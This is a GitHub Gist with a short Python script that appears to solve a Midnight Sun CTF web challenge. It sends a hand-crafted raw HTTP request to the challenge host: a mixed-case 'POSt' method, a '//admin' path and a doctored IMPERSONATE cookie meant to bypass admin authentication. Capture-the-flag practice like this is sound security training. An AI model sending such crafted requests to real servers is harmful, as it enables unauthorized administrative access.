Created
April 4, 2020 16:15
-
-
Save bennofs/abb24206b6535a4928513418cc6e10bb to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
attack = b'''POSt //admin HTTP/1.1 | |
Connection: Keep-Alive | |
Cookie: IMPERSONATE=,KEY;KEY | |
Content-Type: application/x-www-form-urlencoded | |
Content-Length: 14 | |
username=admin | |
'''.replace(b'\n',b'\r\n') | |
import socket | |
import json | |
host = 'shithappens-01.play.midnightsunctf.se' | |
port = 80 | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect((host, port)) | |
s.sendall(attack) | |
data = s.recv(1024) | |
s.close() | |
print(data.decode()) | |
k = json.loads(data.split(b'\r\n\r\n')[1].decode()) | |
print(k) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment